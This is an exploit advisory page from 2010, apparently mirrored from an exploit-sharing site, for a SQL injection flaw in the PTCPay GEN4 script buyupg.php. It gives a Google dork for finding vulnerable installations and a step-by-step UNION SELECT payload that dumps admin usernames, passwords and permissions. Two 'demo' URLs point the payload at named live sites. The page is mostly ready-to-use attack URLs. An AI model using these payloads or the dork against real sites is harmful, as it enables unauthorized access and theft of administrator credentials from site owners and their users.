Home / os / win7

PTCPay GEN4 (buyupg.php) SQL Injection Vulnerability

Posted on 28 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PTCPay GEN4 (buyupg.php) SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================
PTCPay GEN4 (buyupg.php) SQL Injection Vulnerability
====================================================


# Exploit Title:
# Date: 28.06.2010
# Author: Dark.Man &gt; dark.kopat@gmail.com
# Thanks To: Diq3N , SkyTurk , ByHuCRe , HeuRiSTiC , th3spy , 3KStyL3 , WatchFul
# Homepage: http://www.Root-Secure.Org/
# Software Link: http://www.ptcpay.com/
# Version: PTCPay GEN4
# Price: $149.99
# Google dork : &quot;Powered by GeN4&quot;
# Category: SQL Injection

---- Exploit ----

Step 1 - Register The Site

Step 2 - Go to link :
http://www.site.com/buyupg.php?upg=2/**/aNd/**/1=0/**/unIon
SeleCT/**/1,2,3,4,5,6,7,CONCAT_WS(CHAR(32,58,32),aId,aUsername,aPassword,aPermissions),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/**/from/**/admins

{Demo} : https://www.clixid.com/buyupg.php?upg=-2%20unIon%20SeleCT/**/1,2,3,4,5,6,7,CONCAT_WS%28CHAR%2832,58,32%29,aId,aUsername,aPassword,aPermissions%29,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%20from%20admins

{Demo 2} : http://www.maydebux.com/buyupg.php?upg=-2/**/uNION/**/SeleCT/**/1,2,3,4,5,6,7,group_concat%28aId,0x3a,aUsername,0x3a,aPassword,0x3a,aPermissions%29,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%20from%20admins


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-28]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :